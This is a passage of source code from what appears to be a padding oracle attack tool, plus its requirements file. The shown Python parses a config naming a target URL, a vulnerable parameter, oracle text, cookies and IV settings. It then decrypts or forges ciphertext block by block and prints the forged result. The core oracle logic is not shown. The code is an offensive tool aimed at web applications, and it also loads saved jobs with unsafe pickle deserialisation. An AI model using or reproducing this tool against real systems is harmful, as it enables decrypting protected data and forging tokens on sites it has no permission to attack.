| print(f"\n[!]RESTORE MODE INTIATED. Attempting to restart job from file {args.restore}") 645 | 646 | pickleFile = open(args.restore, 'rb') 647 | job = pickle.load(pickleFile) 648 | pickleFile.close() 649 | print(job.name) 650 | print(job.solvedBlocks) 651 | print(job.currentBlock) 652 | job.printProgress() 653 | 654 | # Proceed with a new job 655 | else: 656 | 657 | # ensure the provided configuration file is actually there 658 | if not path.exists(args.config): 659 | handleError("[x]Cannot find configuration file at path: {}. Exiting") 660 | 661 | 662 | # config parser setup 663 | 664 | config = configparser.RawConfigParser() 665 | config.read(args.config) 666 | sections = config.sections() 667 | 668 | name = config['default']['name'] 669 | URL = config['default']['URL'] 670 | httpMethod = config['default']['httpMethod'] 671 | additionalParameters = json.loads(config['default']['additionalParameters']) 672 | blocksize = config['default']['blocksize'] 673 | httpProxyOn = config['default'].getboolean('httpProxyOn') 674 | httpProxyIp = config['default']['httpProxyIp'] 675 | httpProxyPort = config['default']['httpProxyPort'] 676 | headers = json.loads(config['default']['headers']) 677 | cookies = json.loads(config['default']['cookies']) 678 | ivMode = config['default']['ivMode'] 679 | iv = json.loads(config['default']['iv']) 680 | oracleMode = config['default']['oracleMode'] 681 | oracleText = config['default']['oracleText'] 682 | vulnerableParameter = config['default']['vulnerableParameter'] 683 | inputMode = config['default']['inputMode'] 684 | encodingMode = config['default']['encodingMode'] 685 | postFormat = config['default']['postFormat'] 686 | # config value validation 687 | # validate oracleMode 688 | if not oracleMode: 689 | handleError("[x]CONFIG ERROR: oracleMode required") 690 | 691 | else: 692 | if ((oracleMode != "search") and (oracleMode != "negative")): 693 | handleError("[x]CONFIG ERROR: invalid oracleMode") 694 | 695 | # validate encodingMode 696 | if not encodingMode: 697 | handleError("[x]CONFIG ERROR: encodingMode required") 698 | 699 | else: 700 | validEncodingModes = ['base64','base64Url','hex'] 701 | if (encodingMode not in validEncodingModes): 702 | handleError("[x]CONFIG ERROR: invalid encodingMode") 703 | 704 | # Validate HTTP Method 705 | if ((httpMethod != "GET") and (httpMethod != "POST")): 706 | handleError("[x]CONFIG ERROR: httpMethod not valid. Must be 'GET' or 'POST'") 707 | 708 | # Validate POST format 709 | if ((httpMethod == "POST")): 710 | 711 | if postFormat == "form-urlencoded": 712 | pass 713 | 714 | elif postFormat == "multipart": 715 | pass 716 | 717 | elif postFormat == "json": 718 | pass 719 | else: 720 | handleError("[x]CONFIG ERROR: When httpMethod is POST postFormat must be 'form-urlencoded', 'multipart', or 'json'") 721 | # validate proxy IP 722 | if httpProxyIp: 723 | try: 724 | socket.inet_aton(httpProxyIp) 725 | except socket.error: 726 | handleError("[x]CONFIG ERROR: proxy ip is not a valid IP address.") 727 | 728 | # validate proxy port 729 | if httpProxyPort: 730 | try: 731 | httpProxyPort = int(httpProxyPort) 732 | except: 733 | handleError("[x]CONFIG ERROR: proxy port is not valid INT") 734 | 735 | if not (httpProxyPort <= 65535): 736 | handleError("[x]CONFIG ERROR: proxy port is not a valid port number") 737 | 738 | # validate block size 739 | try: 740 | blocksize = int(blocksize) 741 | except: 742 | handleError("[x]CONFIG ERROR: blocksize must be INT.") 743 | 744 | 745 | 746 | if not validators.url(URL): 747 | handleError("[x]CONFIG ERROR: URL is not valid.") 748 | 749 | # validate ivMode 750 | if not ivMode: 751 | handleError("[x]CONFIG ERROR: ivMode is required.") 752 | else: 753 | if not ((ivMode == 'firstblock') or (ivMode == 'knownIV') or (ivMode == 'unknown')): 754 | print(f"[x]CONFIG ERROR: iVMode: '{ivMode}' invalid.") 755 | handleError("[!]Valid ivMode values: firstblock, knownIV, or unknown") 756 | 757 | # validate iv 758 | 759 | # iv required if in knownIV mode 760 | if ivMode == 'knownIV': 761 | if not iv: 762 | handleError("[x]CONFIG ERROR: iv is required when in IV mode") 763 | 764 | if len(iv) != blocksize: 765 | handleError("[x]CONFIG ERROR: iv must be the same length as blocksize") 766 | 767 | if not (all(isinstance(x, int) for x in iv)): 768 | handleError("[x]CONFIG ERROR: IV is not properly formatted. Not all values are type INT") 769 | 770 | 771 | # Initialize Job object 772 | job = Job(blocksize,args.mode,args.debug,args.input,name,ivMode,URL,httpMethod,additionalParameters,httpProxyOn,httpProxyIp,httpProxyPort,headers,iv,oracleMode,oracleText,vulnerableParameter,inputMode,cookies,encodingMode,postFormat) 773 | job.initialize() 774 | 775 | print(f'Starting job in {job.mode} mode. Attempting to {job.mode} the following string: {args.input}') 776 | writeToLog(f'Starting job in {job.mode} mode. Attempting to {job.mode} the following string: {args.input}') 777 | 778 | while job.currentBlock < (job.blockCount): 779 | result = job.nextBlock() 780 | if result == 0: 781 | 782 | #Since the block was sucessful, roll to the next one 783 | job.currentBlock = job.currentBlock + 1 784 | 785 | #Save the current state so that it can be resumed later 786 | saveState(job) 787 | 788 | #Print the current progress so far 789 | job.printProgress() 790 | 791 | else: 792 | print(f"[!]Something went wrong with block {job.currentBlock}. Will repeat block") 793 | 794 | 795 | print(f"[!]All blocks completed") 796 | 797 | # if we just completed an encrypt operation, we need to reverse the order, join the pieces, and base64 798 | if job.mode == "encrypt": 799 | 800 | 801 | for xxx in range(0,len(job.solvedBlocks.values())): 802 | 803 | # combine all of the blocks into one decimal list 804 | joinedCrypto = b''.join(reversed(list(job.solvedBlocks.values()))) 805 | 806 | #joinedCrypto = b''.join(list(job.solvedBlocks.values())) 807 | joinedCrypto = joinedCrypto[(-1 - xxx) * 16:] 808 | 809 | # add in the "first" (last) bock of all 0's 810 | joinedCrypto = b''.join([joinedCrypto,bytes([0] * job.blocksize)]) 811 | 812 | if encodingMode == 'base64': 813 | encryptFinal = b64urlEncode(urllib.parse.quote_plus(bytes_to_base64(joinedCrypto))) 814 | 815 | if encodingMode == 'base64Url': 816 | encryptFinal = bytes_to_base64(joinedCrypto).decode().replace('=','').replace("+","-").replace('/','_') 817 | 818 | if encodingMode == 'hex': 819 | encryptFinal = joinedCrypto.hex().upper() 820 | 821 | print(f"[!]Encrypt final result: {encryptFinal}") 822 | 823 | # All blocks completed 824 | 825 | # Save final state 826 | #saveState(job) 827 | 828 | if job.mode == "decrypt": 829 | # No output needed, final combined result should have been printed when last block was completed 830 | pass 831 | 832 | #job.printProgress() 833 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | validators 2 | requests 3 | --------------------------------------------------------------------------------